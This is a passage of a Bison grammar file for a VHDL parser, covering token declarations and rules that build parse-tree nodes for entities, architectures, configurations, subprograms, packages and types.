%token KW_GENERIC
%token KW_GROUP
%token KW_GUARDED
%token KW_IF
%token KW_IMPURE
%token KW_IN
%token KW_INERTIAL
%token KW_INOUT
%token KW_IS
%token KW_LABEL
%token KW_LIBRARY
%token KW_LINKAGE
%token KW_LITERAL
%token KW_LOOP
%token KW_MAP
%token KW_MOD
%token KW_NAND
%token KW_NEW
%token KW_NEXT
%token KW_NOR
%token KW_NOT
%token KW_NULL
%token KW_OF
%token KW_ON
%token KW_OPEN
%token KW_OR
%token KW_OTHERS
%token KW_OUT
%token KW_PACKAGE
%token KW_PARAMETER
%token KW_PORT
%token KW_POSTPONED
%token KW_PROCEDURE
%token KW_PROCESS
%token KW_PROPERTY
%token KW_PROTECTED
%token KW_PURE
%token KW_RANGE
%token KW_RECORD
%token KW_REGISTER
%token KW_REJECT
%token KW_RELEASE
%token KW_REM
%token KW_REPORT
%token KW_RESTRICT
%token KW_RESTRICT_GUARANTEE
%token KW_RETURN
%token KW_ROL
%token KW_ROR
%token KW_SELECT
%token KW_SEQUENCE
%token KW_SEVERITY
%token KW_SHARED
%token KW_SIGNAL
%token KW_SLA
%token KW_SLL
%token KW_SRA
%token KW_SRL
%token KW_STRONG
%token KW_SUBTYPE
%token KW_THEN
%token KW_TO
%token KW_TRANSPORT
%token KW_TYPE
%token KW_UNAFFECTED
%token KW_UNITS
%token KW_UNTIL
%token KW_USE
%token KW_VARIABLE
%token KW_VMODE
%token KW_VPROP
%token KW_VUNIT
%token KW_WAIT
%token KW_WHEN
%token KW_WHILE
%token KW_WITH
%token KW_XNOR
%token KW_XOR
////////////////// Multi-character delimiters, section 15.3 //////////////////
%token DL_ARR
%token DL_EXP
%token DL_ASS
%token DL_NEQ
%token DL_GEQ
%token DL_LEQ
%token DL_BOX
%token DL_QQ
%token DL_MEQ
%token DL_MNE
%token DL_MLT
%token DL_MLE
%token DL_MGT
%token DL_MGE
%token DL_LL
%token DL_RR
//////////////// Miscellaneous tokens for other lexer literals ////////////////
%token TOK_STRING
%token TOK_BITSTRING
%token TOK_DECIMAL
%token TOK_BASED
%token TOK_CHAR
%token TOK_BASIC_ID
%token TOK_EXT_ID
// This token is used to report lexer errors
%token LEXER_ERROR
%%
// Start token used for saving the parse tree
_toplevel_token:
design_file { *parse_output = $1; }
//////////////// Design entities and configurations, section 3 ////////////////
/// Section 3.2
entity_declaration:
_real_entity_declaration ';'
| _real_entity_declaration KW_ENTITY ';'
| _real_entity_declaration identifier ';' {
$$ = $1;
$$->pieces[4] = $2;
}
| _real_entity_declaration KW_ENTITY identifier ';' {
$$ = $1;
$$->pieces[4] = $3;
}
_real_entity_declaration:
KW_ENTITY identifier KW_IS entity_header entity_declarative_part KW_END {
$$ = new VhdlParseTreeNode(PT_ENTITY);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
$$->pieces[4] = nullptr;
}
| KW_ENTITY identifier KW_IS entity_header entity_declarative_part
KW_BEGIN entity_statement_part KW_END {
$$ = new VhdlParseTreeNode(PT_ENTITY);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = $7;
$$->pieces[4] = nullptr;
}
/// Section 3.2.2
entity_header:
%empty {
$$ = new VhdlParseTreeNode(PT_ENTITY_HEADER);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
}
| KW_GENERIC '(' interface_list ')' ';' {
$$ = new VhdlParseTreeNode(PT_ENTITY_HEADER);
$$->pieces[0] = $3;
$$->pieces[1] = nullptr;
}
| KW_PORT '(' interface_list ')' ';' {
$$ = new VhdlParseTreeNode(PT_ENTITY_HEADER);
$$->pieces[0] = nullptr;
$$->pieces[1] = $3;
}
| KW_GENERIC '(' interface_list ')' ';'
KW_PORT '(' interface_list ')' ';' {
$$ = new VhdlParseTreeNode(PT_ENTITY_HEADER);
$$->pieces[0] = $3;
$$->pieces[1] = $8;
}
/// Section 3.2.3
entity_declarative_part:
%empty
| _real_entity_declarative_part
_real_entity_declarative_part:
entity_declarative_item
| _real_entity_declarative_part entity_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// Store line number information
entity_declarative_item: _entity_declarative_item { STORE_LOC($$, @$); }
_entity_declarative_item:
subprogram_declaration
| subprogram_body
| subprogram_instantiation_declaration
| package_declaration
| package_body
| package_instantiation_declaration
| type_declaration
| subtype_declaration
| constant_declaration
| signal_declaration
| variable_declaration
| file_declaration
| alias_declaration
| attribute_declaration
| attribute_specification
| disconnection_specification
| use_clause
| group_template_declaration
| group_declaration
/// Section 3.2.4
entity_statement_part:
%empty
| _real_entity_statement_part
// We need this or else the %empty can cause ambiguity.
_real_entity_statement_part:
entity_statement
| _real_entity_statement_part entity_statement {
$$ = new VhdlParseTreeNode(PT_SEQUENCE_OF_STATEMENTS);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
entity_statement:
concurrent_assertion_statement
| concurrent_procedure_call_statement
| process_statement
/// Section 3.3.1
architecture_body:
_real_architecture_body ';'
| _real_architecture_body KW_ARCHITECTURE ';'
| _real_architecture_body identifier ';' {
$$ = $1;
$$->pieces[4] = $2;
}
| _real_architecture_body KW_ARCHITECTURE identifier ';' {
$$ = $1;
$$->pieces[4] = $3;
}
_real_architecture_body:
KW_ARCHITECTURE identifier KW_OF _simple_or_selected_name KW_IS
block_declarative_part KW_BEGIN _sequence_of_concurrent_statements
KW_END {
$$ = new VhdlParseTreeNode(PT_ARCHITECTURE);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->pieces[3] = $8;
$$->pieces[4] = nullptr;
}
/// Section 3.3.2
// Store line number information
block_declarative_item: _block_declarative_item { STORE_LOC($$, @$); }
_block_declarative_item:
subprogram_declaration
| subprogram_body
| subprogram_instantiation_declaration
| package_declaration
| package_body
| package_instantiation_declaration
| type_declaration
| subtype_declaration
| constant_declaration
| signal_declaration
| variable_declaration
| file_declaration
| alias_declaration
| component_declaration
| attribute_declaration
| attribute_specification
| configuration_specification
| disconnection_specification
| use_clause
| group_template_declaration
| group_declaration
/// Section 3.4.1
configuration_declaration:
_real_configuration_declaration ';'
| _real_configuration_declaration KW_CONFIGURATION ';'
| _real_configuration_declaration identifier ';' {
$$ = $1;
$$->pieces[5] = $2;
}
| _real_configuration_declaration KW_CONFIGURATION identifier ';' {
$$ = $1;
$$->pieces[5] = $3;
}
_real_configuration_declaration:
KW_CONFIGURATION identifier KW_OF _simple_or_selected_name KW_IS
configuration_declarative_part
_zero_or_more_verification_unit_binding_indications
block_configuration KW_END {
$$ = new VhdlParseTreeNode(PT_CONFIGURATION_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->pieces[3] = $7;
$$->pieces[4] = $8;
$$->pieces[5] = nullptr;
}
_zero_or_more_verification_unit_binding_indications:
%empty
| _one_or_more_verification_unit_binding_indications
configuration_declarative_part:
%empty
| _real_configuration_declarative_part
_real_configuration_declarative_part:
configuration_declarative_item
| _real_configuration_declarative_part configuration_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// Store line number information
configuration_declarative_item:
_configuration_declarative_item { STORE_LOC($$, @$); }
_configuration_declarative_item:
use_clause
| attribute_specification
| group_declaration
/// Section 3.4.2
block_configuration:
KW_FOR block_specification _zero_or_more_use_clauses
_zero_or_more_configuration_items KW_END KW_FOR ';' {
$$ = new VhdlParseTreeNode(PT_BLOCK_CONFIGURATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = $4;
}
block_specification:
_simple_or_selected_name {
$$ = new VhdlParseTreeNode(PT_BLOCK_SPECIFICATION);
$$->pieces[0] = $1;
}
| _simple_or_selected_name '(' generate_specification ')' {
$$ = new VhdlParseTreeNode(PT_BLOCK_SPECIFICATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
generate_specification:
_almost_discrete_range
| expression
// label is included in expression
configuration_item:
block_configuration
| component_configuration
_zero_or_more_use_clauses:
%empty
| _one_or_more_use_clauses
_one_or_more_use_clauses:
use_clause
| _one_or_more_use_clauses use_clause {
$$ = new VhdlParseTreeNode(PT_USE_CLAUSE_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
_zero_or_more_configuration_items:
%empty
| _one_or_more_configuration_items
_one_or_more_configuration_items:
configuration_item
| _one_or_more_configuration_items configuration_item {
$$ = new VhdlParseTreeNode(PT_CONFIGURATION_ITEM_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
/// Section 3.4.3
component_configuration:
KW_FOR component_specification
_zero_or_more_verification_unit_binding_indications KW_END KW_FOR ';' {
$$ = new VhdlParseTreeNode(PT_COMPONENT_CONFIGURATION);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = $3;
$$->pieces[3] = nullptr;
}
| KW_FOR component_specification binding_indication ';'
_zero_or_more_verification_unit_binding_indications KW_END KW_FOR ';' {
$$ = new VhdlParseTreeNode(PT_COMPONENT_CONFIGURATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
}
| KW_FOR component_specification
_zero_or_more_verification_unit_binding_indications
block_configuration KW_END KW_FOR ';' {
$$ = new VhdlParseTreeNode(PT_COMPONENT_CONFIGURATION);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = $3;
$$->pieces[3] = $4;
}
| KW_FOR component_specification binding_indication ';'
_zero_or_more_verification_unit_binding_indications
block_configuration KW_END KW_FOR ';' {
$$ = new VhdlParseTreeNode(PT_COMPONENT_CONFIGURATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = $5;
$$->pieces[3] = $6;
}
///////////////////// Subprograms and packages, section 4 /////////////////////
/// Section 4.2
subprogram_declaration:
subprogram_specification ';' {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_DECLARATION);
$$->pieces[0] = $1;
}
subprogram_specification:
procedure_specification
| function_specification
procedure_specification:
KW_PROCEDURE designator subprogram_header {
$$ = new VhdlParseTreeNode(PT_PROCEDURE_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
}
| KW_PROCEDURE designator subprogram_header '(' interface_list ')' {
$$ = new VhdlParseTreeNode(PT_PROCEDURE_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = $5;
}
| KW_PROCEDURE designator subprogram_header
KW_PARAMETER '(' interface_list ')' {
$$ = new VhdlParseTreeNode(PT_PROCEDURE_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = $6;
}
function_specification:
_real_function_specification
| KW_PURE _real_function_specification {
$$ = $2;
$$->purity = PURITY_PURE;
}
| KW_IMPURE _real_function_specification {
$$ = $2;
$$->purity = PURITY_IMPURE;
}
_real_function_specification:
KW_FUNCTION designator subprogram_header KW_RETURN type_mark {
$$ = new VhdlParseTreeNode(PT_FUNCTION_SPECIFICATION);
$$->purity = PURITY_UNSPEC;
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $3;
}
| KW_FUNCTION designator subprogram_header '(' interface_list ')'
KW_RETURN type_mark {
$$ = new VhdlParseTreeNode(PT_FUNCTION_SPECIFICATION);
$$->purity = PURITY_UNSPEC;
$$->pieces[0] = $2;
$$->pieces[1] = $8;
$$->pieces[2] = $3;
$$->pieces[3] = $5;
}
| KW_FUNCTION designator subprogram_header
KW_PARAMETER '(' interface_list ')' KW_RETURN type_mark {
$$ = new VhdlParseTreeNode(PT_FUNCTION_SPECIFICATION);
$$->purity = PURITY_UNSPEC;
$$->pieces[0] = $2;
$$->pieces[1] = $9;
$$->pieces[2] = $3;
$$->pieces[3] = $6;
}
subprogram_header:
%empty
| KW_GENERIC '(' interface_list ')' {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_HEADER);
$$->pieces[0] = $3;
$$->pieces[1] = nullptr;
}
| generic_map_aspect {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_HEADER);
$$->pieces[0] = nullptr;
$$->pieces[1] = $1;
}
| KW_GENERIC '(' interface_list ')' generic_map_aspect {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_HEADER);
$$->pieces[0] = $3;
$$->pieces[1] = $5;
}
designator:
identifier
| string_literal // was operator_symbol
/// Section 4.3
subprogram_body:
_real_subprogram_body ';'
| _real_subprogram_body KW_FUNCTION ';' {
$$ = $1;
$$->subprogram_kind = SUBPROGRAM_FUNCTION;
}
| _real_subprogram_body KW_PROCEDURE ';' {
$$ = $1;
$$->subprogram_kind = SUBPROGRAM_PROCEDURE;
}
| _real_subprogram_body designator ';' {
$$ = $1;
$$->pieces[3] = $2;
}
| _real_subprogram_body KW_FUNCTION designator ';' {
$$ = $1;
$$->subprogram_kind = SUBPROGRAM_FUNCTION;
$$->pieces[3] = $3;
}
| _real_subprogram_body KW_PROCEDURE designator ';' {
$$ = $1;
$$->subprogram_kind = SUBPROGRAM_PROCEDURE;
$$->pieces[3] = $3;
}
_real_subprogram_body:
subprogram_specification KW_IS subprogram_declarative_part
KW_BEGIN sequence_of_statements KW_END {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_BODY);
$$->subprogram_kind = SUBPROGRAM_UNSPEC;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
}
subprogram_declarative_part:
%empty
| _real_subprogram_declarative_part
_real_subprogram_declarative_part:
subprogram_declarative_item
| _real_subprogram_declarative_part subprogram_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// Store line number information
subprogram_declarative_item:
_subprogram_declarative_item { STORE_LOC($$, @$); }
_subprogram_declarative_item:
subprogram_declaration
| subprogram_body
| subprogram_instantiation_declaration
| package_declaration
| package_body
| package_instantiation_declaration
| type_declaration
| subtype_declaration
| constant_declaration
| variable_declaration
| file_declaration
| alias_declaration
| attribute_declaration
| attribute_specification
| use_clause
| group_template_declaration
| group_declaration
/// Section 4.4
subprogram_instantiation_declaration:
KW_PROCEDURE _real_subprogram_instantiation_declaration ';' {
$$ = $2;
$$->subprogram_kind = SUBPROGRAM_PROCEDURE;
}
| KW_FUNCTION _real_subprogram_instantiation_declaration ';' {
$$ = $2;
$$->subprogram_kind = SUBPROGRAM_FUNCTION;
}
_real_subprogram_instantiation_declaration:
designator KW_IS KW_NEW name {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_INSTANTIATION_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| designator KW_IS KW_NEW name signature {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_INSTANTIATION_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
}
| designator KW_IS KW_NEW name generic_map_aspect {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_INSTANTIATION_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = $5;
}
| designator KW_IS KW_NEW name signature generic_map_aspect {
$$ = new VhdlParseTreeNode(PT_SUBPROGRAM_INSTANTIATION_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = $6;
}
/// Section 4.5.3
signature:
'[' ']' {
$$ = new VhdlParseTreeNode(PT_SIGNATURE);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
}
| '[' _one_or_more_type_marks ']' {
$$ = new VhdlParseTreeNode(PT_SIGNATURE);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
}
| '[' KW_RETURN type_mark ']' {
$$ = new VhdlParseTreeNode(PT_SIGNATURE);
$$->pieces[0] = nullptr;
$$->pieces[1] = $3;
}
| '[' _one_or_more_type_marks KW_RETURN type_mark ']' {
$$ = new VhdlParseTreeNode(PT_SIGNATURE);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
_one_or_more_type_marks:
type_mark
| _one_or_more_type_marks ',' type_mark {
$$ = new VhdlParseTreeNode(PT_TYPE_MARK_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 4.7
package_declaration:
_real_package_declaration ';'
| _real_package_declaration KW_PACKAGE ';'
| _real_package_declaration identifier ';' {
$$ = $1;
$$->pieces[3] = $2;
}
| _real_package_declaration KW_PACKAGE identifier ';' {
$$ = $1;
$$->pieces[3] = $3;
}
_real_package_declaration:
KW_PACKAGE identifier KW_IS
package_header package_declarative_part KW_END {
$$ = new VhdlParseTreeNode(PT_PACKAGE_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
}
package_header:
%empty
// generic_clause got folded in because why not
| KW_GENERIC '(' interface_list ')' ';' {
$$ = new VhdlParseTreeNode(PT_PACKAGE_HEADER);
$$->pieces[0] = $3;
$$->pieces[1] = nullptr;
}
| KW_GENERIC '(' interface_list ')' ';' generic_map_aspect ';' {
$$ = new VhdlParseTreeNode(PT_PACKAGE_HEADER);
$$->pieces[0] = $3;
$$->pieces[1] = $6;
}
package_declarative_part:
%empty
| _real_package_declarative_part
_real_package_declarative_part:
package_declarative_item
| _real_package_declarative_part package_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// Store line number information
package_declarative_item: _package_declarative_item { STORE_LOC($$, @$); }
_package_declarative_item:
subprogram_declaration
| subprogram_instantiation_declaration
| package_declaration
| package_instantiation_declaration
| type_declaration
| subtype_declaration
| constant_declaration
| signal_declaration
| variable_declaration
| file_declaration
| alias_declaration
| component_declaration
| attribute_declaration
| attribute_specification
| disconnection_specification
| use_clause
| group_template_declaration
| group_declaration
/// Section 4.8
package_body:
_real_package_body ';'
| _real_package_body KW_PACKAGE KW_BODY ';'
| _real_package_body identifier ';' {
$$ = $1;
$$->pieces[2] = $2;
}
| _real_package_body KW_PACKAGE KW_BODY identifier ';' {
$$ = $1;
$$->pieces[2] = $4;
}
_real_package_body:
KW_PACKAGE KW_BODY identifier KW_IS package_body_declarative_part KW_END {
$$ = new VhdlParseTreeNode(PT_PACKAGE_BODY);
$$->pieces[0] = $3;
$$->pieces[1] = $5;
$$->pieces[2] = nullptr;
}
package_body_declarative_part:
%empty
| _real_package_body_declarative_part
_real_package_body_declarative_part:
package_body_declarative_item
| _real_package_body_declarative_part package_body_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// Store line number information
package_body_declarative_item:
_package_body_declarative_item { STORE_LOC($$, @$); }
_package_body_declarative_item:
subprogram_declaration
| subprogram_body
| subprogram_instantiation_declaration
| package_declaration
| package_body
| package_instantiation_declaration
| type_declaration
| subtype_declaration
| constant_declaration
| variable_declaration
| file_declaration
| alias_declaration
| attribute_declaration
| attribute_specification
| use_clause
| group_template_declaration
| group_declaration
/// Section 4.9
package_instantiation_declaration:
KW_PACKAGE identifier KW_IS KW_NEW name ';' {
$$ = new VhdlParseTreeNode(PT_PACKAGE_INSTANTIATION_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
}
| KW_PACKAGE identifier KW_IS KW_NEW name generic_map_aspect ';' {
$$ = new VhdlParseTreeNode(PT_PACKAGE_INSTANTIATION_DECLARATION);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $6;
}
////////////////////////////// Types, section 5 //////////////////////////////
/// Section 5.2.1
scalar_type_definition:
enumeration_type_definition
// We cannot tell these apart at this stage
| _integer_or_floating_type_definition
| physical_type_definition
range_constraint:
KW_RANGE range {
$$ = $2;
}
range:
_almost_range
| attribute_name
// We need this because of the "name" rule that cannot have an attribute_name
// here in order to avoid ambiguity.
_almost_range:
simple_expression KW_DOWNTO simple_expression {
$$ = new VhdlParseTreeNode(PT_RANGE);
$$->range_dir = RANGE_DOWN;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| simple_expression KW_TO simple_expression {
$$ = new VhdlParseTreeNode(PT_RANGE);
$$->range_dir = RANGE_UP;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 5.2.2
enumeration_type_definition:
'(' _one_or_more_enumeration_literals ')' {
$$ = new VhdlParseTreeNode(PT_ENUMERATION_TYPE_DEFINITION);
$$->pieces[0] = $2;
}
_one_or_more_enumeration_literals:
enumeration_literal
| _one_or_more_enumeration_literals ',' enumeration_literal {
$$ = new VhdlParseTreeNode(PT_ENUM_LITERAL_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
enumeration_literal:
identifier
| character_literal
/// Section 5.2.3, 5.2.5
_integer_or_floating_type_definition:
range_constraint {
$$ = new VhdlParseTreeNode(PT_INTEGER_FLOAT_TYPE_DEFINITION);
$$->pieces[0] = $1;
}
/// Section 5.2.4
physical_type_definition:
_real_physical_type_definition
| _real_physical_type_definition identifier {
$$ = $1;
$$->pieces[3] = $2;
}
_real_physical_type_definition:
range_constraint KW_UNITS identifier ';' KW_END KW_UNITS {
$$ = new VhdlParseTreeNode(PT_PHYSICAL_TYPE_DEFINITION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| range_constraint KW_UNITS identifier ';'
_one_or_more_secondary_unit_declarations KW_END KW_UNITS {
$$ = new VhdlParseTreeNode(PT_PHYSICAL_TYPE_DEFINITION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
}
_one_or_more_secondary_unit_declarations:
secondary_unit_declaration
| _one_or_more_secondary_unit_declarations secondary_unit_declaration {
$$ = new VhdlParseTreeNode(PT_SECONDARY_UNIT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
secondary_unit_declaration:
identifier '=' physical_literal ';' {
$$ = new VhdlParseTreeNode(PT_SECONDARY_UNIT_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
physical_literal:
_almost_physical_literal
| _simple_or_selected_name
// This requires the abstract_literal otherwise it becomes ambiguous with just
// name.
_almost_physical_literal:
abstract_literal _simple_or_selected_name {
$$ = new VhdlParseTreeNode(PT_LIT_PHYS);
$$->pieces[0] = $2;
$$->pieces[1] = $1;
}
/// Section 5.3.1
composite_type_definition:
array_type_definition
| record_type_definition
/// Section 5.3.2
// The way we've defined this causes a shift/reduce conflict.
array_type_definition:
unbounded_array_definition
| constrained_array_definition
unbounded_array_definition:
KW_ARRAY '(' _one_or_more_index_subtype_definition ')'
KW_OF subtype_indication {
$$ = new VhdlParseTreeNode(PT_UNBOUNDED_ARRAY_DEFINITION);
$$->pieces[0] = $3;
$$->pieces[1] = $6;
}
constrained_array_definition:
KW_ARRAY index_constraint KW_OF subtype_indication {
$$ = new VhdlParseTreeNode(PT_CONSTRAINED_ARRAY_DEFINITION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
_one_or_more_index_subtype_definition:
index_subtype_definition
| _one_or_more_index_subtype_definition ',' index_subtype_definition {
$$ = new VhdlParseTreeNode(PT_INDEX_SUBTYPE_DEFINITION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
index_subtype_definition:
type_mark KW_RANGE DL_BOX {
$$ = $1;
}
array_constraint:
_array_constraint_open
| '(' KW_OPEN ')' element_constraint {
$$ = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0] = nullptr;
$$->pieces[1] = $4;
}
| index_constraint {
$$ = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
}
| index_constraint element_constraint {
$$ = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// We need this for association list disambiguation with name
_definitely_not_name_array_constraint:
_array_constraint_open_and_element_constraint
| _array_constraint_definitely_multiple_ranges
_array_constraint_open:
'(' KW_OPEN ')' {
$$ = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
}
_array_constraint_open_and_element_constraint:
'(' KW_OPEN ')' _morph_name_into_subtype_indication_constraint {
$$ = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0] = nullptr;
$$->pieces[1] = $4;
}
// TODO: WTF is going on here?
// This is the "stuff that can come after a name involving parentheses" that
// ensures that it is for certain a subtype_indication.
_morph_name_into_subtype_indication_constraint:
_definitely_further_element_constraint
| _array_constraint_open
// A function cannot return a function, so (open)(open) is definitely an
// array constraint and an array element constraint
| '(' KW_OPEN ')' element_constraint {
$$ = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0] = nullptr;
$$->pieces[1] = $4;
}
_array_constraint_definitely_multiple_ranges:
_definitely_index_constraint {
$$ = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
}
| _definitely_index_constraint element_constraint {
$$ = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
index_constraint:
'(' _one_or_more_discrete_range ')' {
$$ = $2;
}
_definitely_index_constraint:
'(' _two_or_more_discrete_range ')' {
$$ = $2;
}
_one_or_more_discrete_range:
discrete_range
| _one_or_more_discrete_range ',' discrete_range {
$$ = new VhdlParseTreeNode(PT_INDEX_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// Really hacked up, must have two or more and not be a bare name
_two_or_more_discrete_range:
_almost_discrete_range ',' discrete_range {
$$ = new VhdlParseTreeNode(PT_INDEX_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// HACK
| _one_or_more_expressions ',' _almost_discrete_range {
$$ = new VhdlParseTreeNode(PT_INDEX_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| _two_or_more_discrete_range ',' discrete_range {
$$ = new VhdlParseTreeNode(PT_INDEX_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// Rather chopped up for use in name and aggregates
_almost_discrete_range:
_almost_discrete_subtype_indication
| _almost_range
// Re-allow the forbidden attribute name and single type_mark
discrete_range:
discrete_subtype_indication
| range
/// Section 5.3.3
record_type_definition:
_real_record_type_definition
| _real_record_type_definition identifier {
$$ = $1;
$$->pieces[1] = $2;
}
_real_record_type_definition:
KW_RECORD _one_or_more_element_declarations KW_END KW_RECORD {
$$ = new VhdlParseTreeNode(PT_RECORD_TYPE_DEFINITION);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
}
_one_or_more_element_declarations:
element_declaration
| _one_or_more_element_declarations element_declaration {
$$ = new VhdlParseTreeNode(PT_ELEMENT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
element_declaration:
identifier_list ':' subtype_indication ';' {
$$ = new VhdlParseTreeNode(PT_ELEMENT_DECLARATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
identifier_list:
identifier
| identifier_list ',' identifier {
$$ = new VhdlParseTreeNode(PT_ID_LIST_REAL);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
record_constraint:
'(' _one_or_more_record_element_constraint ')' {
$$ = $2;
}
_one_or_more_record_element_constraint:
record_element_constraint
| _one_or_more_record_element_constraint ',' record_element_constraint {
$$ = new VhdlParseTreeNode(PT_RECORD_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
record_element_constraint:
identifier element_constraint {
$$ = new VhdlParseTreeNode(PT_RECORD_ELEMENT_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// FIXME: Ugly hack to make association_list work
_definitely_not_name_record_constraint:
'(' _one_or_more_association_list_record_element_constraint ')' {
$$ = $2;
}
_one_or_more_association_list_record_element_constraint:
_association_list_record_element_constraint
| _one_or_more_association_list_record_element_constraint ','
record_element_constraint {
$$ = new VhdlParseTreeNode(PT_RECORD_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// HACK
| _one_or_more_expressions ','
_association_list_record_element_constraint {
$$ = new VhdlParseTreeNode(PT_RECORD_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
_association_list_record_element_constraint:
identifier _definitely_further_element_constraint {
$$ = new VhdlParseTreeNode(PT_RECORD_ELEMENT_CONSTRAINT);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// HACK, FIXME
| _hack_name_for_association_list
_morph_name_into_subtype_indication_constraint {
$$ = new VhdlParseTreeNode(PT_SUBTYPE_INDICATION_AMBIG_WTF);
$$->pieces[0] = new VhdlParseTreeNode(PT_ARRAY_CONSTRAINT);
$$->pieces[0]->pieces[0] = $1;
$$->pieces[0]->pieces[1] = $2;
}
/// Section 5.4
access_type_definition:
KW_ACCESS subtype_indication {
$$ = new VhdlParseTreeNode(PT_ACCESS_TYPE_DEFINITION);
$$->pieces[0] = $2;
}
incomplete_type_declaration:
KW_TYPE identifier ';' {
$$ = new VhdlParseTreeNode(PT_INCOMPLETE_TYPE_DECLARATION);
$$->pieces[0] = $2;
}
/// Section 5.5
file_type_definition:
